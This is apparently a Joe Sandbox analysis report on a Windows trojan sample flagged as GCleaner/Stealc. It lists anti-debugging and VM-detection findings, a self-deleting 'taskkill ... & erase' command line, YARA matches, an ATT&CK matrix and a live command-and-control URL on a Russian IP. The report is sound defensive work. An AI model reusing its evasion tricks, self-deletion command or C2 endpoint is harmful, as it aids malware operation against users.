Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

API coverage: 8.7 %

Source: C:\Windows\SysWOW64\WerFault.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\SysWOW64\WerFault.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0041583F FindFirstFileExW,		0_2_0041583F
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_03655AA6 FindFirstFileExW,		0_2_03655AA6

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: xQXHoWMKoa.exe, 00000000.00000002.2080392133.0000000001D37000.00000004.00000020.00020000.00000000.sdmp, xQXHoWMKoa.exe, 00000000.00000002.2082533012.0000000004202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: xQXHoWMKoa.exe, 00000000.00000002.2082533012.0000000004202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Code function: 0_2_0040C17B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0040C17B

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00411192 mov eax, dword ptr fs:[00000030h]	0_2_00411192
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0040C681 mov eax, dword ptr fs:[00000030h]	0_2_0040C681
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_01C7EA9B push dword ptr fs:[00000030h]	0_2_01C7EA9B
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0364092B mov eax, dword ptr fs:[00000030h]	0_2_0364092B
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_036513F9 mov eax, dword ptr fs:[00000030h]	0_2_036513F9
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0364C8E8 mov eax, dword ptr fs:[00000030h]	0_2_0364C8E8
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_03640D90 mov eax, dword ptr fs:[00000030h]	0_2_03640D90

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Code function: 0_2_00416A7C GetProcessHeap,

0_2_00416A7C

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00408809 SetUnhandledExceptionFilter,	0_2_00408809
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0040C17B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040C17B
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00407C96 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00407C96
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_00408675 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00408675
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_0364C3E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0364C3E2
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_03648A70 SetUnhandledExceptionFilter,	0_2_03648A70
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_036488DC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_036488DC
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: 0_2_03647EFD SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_03647EFD

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "xQXHoWMKoa.exe" /f & erase "C:\Users\user\Desktop\xQXHoWMKoa.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "xQXHoWMKoa.exe" /f			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "xQXHoWMKoa.exe" /f

Jump to behavior

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Code function: 0_2_00408873 cpuid

0_2_00408873

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_0041897A
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_0041892F
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_00418A15
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00418AA0
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_004112A2
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,	0_2_00418CF3
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00418E19
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_0041868D
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,	0_2_00418F1F
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,	0_2_004117C4
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00418FEE
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_03658BE1
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_03658B96
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_03659255
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,	0_2_03651A2B
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,	0_2_03659186
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_036588F4
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_03659080
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,	0_2_03658F5A
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_03658D07
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_03651509
Source: C:\Users\user\Desktop\xQXHoWMKoa.exe	Code function: EnumSystemLocalesW,	0_2_03658C7C

Source: C:\Users\user\Desktop\xQXHoWMKoa.exe

Code function: 0_2_0040CA21 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0040CA21

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected GCleaner

Source: Yara match	File source: 0.3.xQXHoWMKoa.exe.3670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.3640e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.3640e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.xQXHoWMKoa.exe.3670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2002198477.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Remote Access Functionality

Yara detected GCleaner

Source: Yara match	File source: 0.3.xQXHoWMKoa.exe.3670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.3640e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.3640e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.xQXHoWMKoa.exe.3670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xQXHoWMKoa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2002198477.0000000003670000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
xQXHoWMKoa.exe	42%	ReversingLabs	Win32.Trojan.Stealerc
xQXHoWMKoa.exe	100%	Avira	HEUR/AGEN.1361904
xQXHoWMKoa.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.90/cpa/ping.php?substr=one&s=two	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.90	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428892
Start date and time:	2024-04-19 19:24:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xQXHoWMKoa.exe renamed because original name is a hash value
Original Sample Name:	b6e4dc4fd0cc50fbb1236fe1108b886d.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/30@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 16 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.165.165.26, 20.3.187.198, 13.85.23.206
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: xQXHoWMKoa.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.172.128.90	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=seven&s=ab&sub=0
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=ten&s=ab&sub=0
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	HCfh46GOiJ.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=six&s=ab&sub=0
	SecuriteInfo.com.Win64.Evo-gen.28136.30716.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	Mmc1oSyjzD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=six&s=ab&sub=0
	file.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	lIDTGI3vuC.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab&sub=0
	UeeD3Fw2se.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.90/cpa/ping.php?substr=six&s=ab&sub=0

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	rJlMhHdHP2mDzMGx.exe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	WCcNzb83Y3.exe	Get hash	malicious	CobaltStrike	Browse	199.232.210.172
	UPDATED SSTATEMENT OF ACCOUNT.exe	Get hash	malicious	AgentTesla	Browse	199.232.214.172
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	199.232.210.172
	https://royaltattoo.in/js/kalexander@yourlawyer.com	Get hash	malicious	Phisher	Browse	199.232.214.172
	REMITTANCE COPY.exe	Get hash	malicious	AgentTesla	Browse	199.232.214.172
	purchaseorder4.exe	Get hash	malicious	Python Stealer	Browse	199.232.210.172
	https://cionfacttalleriproj.norwayeast.cloudapp.azure.com/?finanzas.busqueda?q=Secretar%C3%ADa+de+Administraci%C3%B3n+y+Finanzas?30337974_3097_705331937556-157889157889770732479410588494105884	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	199.232.210.172
	s.exe	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	185.172.128.23
	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	185.172.128.19
	LXoASvZRu1.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	nXXx6yL69w.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	185.172.128.203
	Gpeym6icI3.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	dc8laldmc8.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	LB4129B9YX.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	1526RpgCee.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23
	sLpIvcY3xo.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.23

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xQXHoWMKoa.exe_68a8f9de9bf6d6157d3cafcf5c5a1acbef520ae_fef8e22e_0bdc8d69-8e2d-4916-98f4-e240f78a9879\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.831836904485459
Encrypted:	false
SSDEEP:	96:oQg6sEhq7oA7JfdQXIDcQnc6rCcEhcw3r7+HbHg/8BRTf3ZFEOyKZj8OWEADKVh0:46wu056rQjpazuiFQZ24IO8LA
MD5:	524A293EBD3FACBB576B8B0BA02F17A7
SHA1:	0D22E36BD5182FB70C0C0DAF6BAEF847578382DA
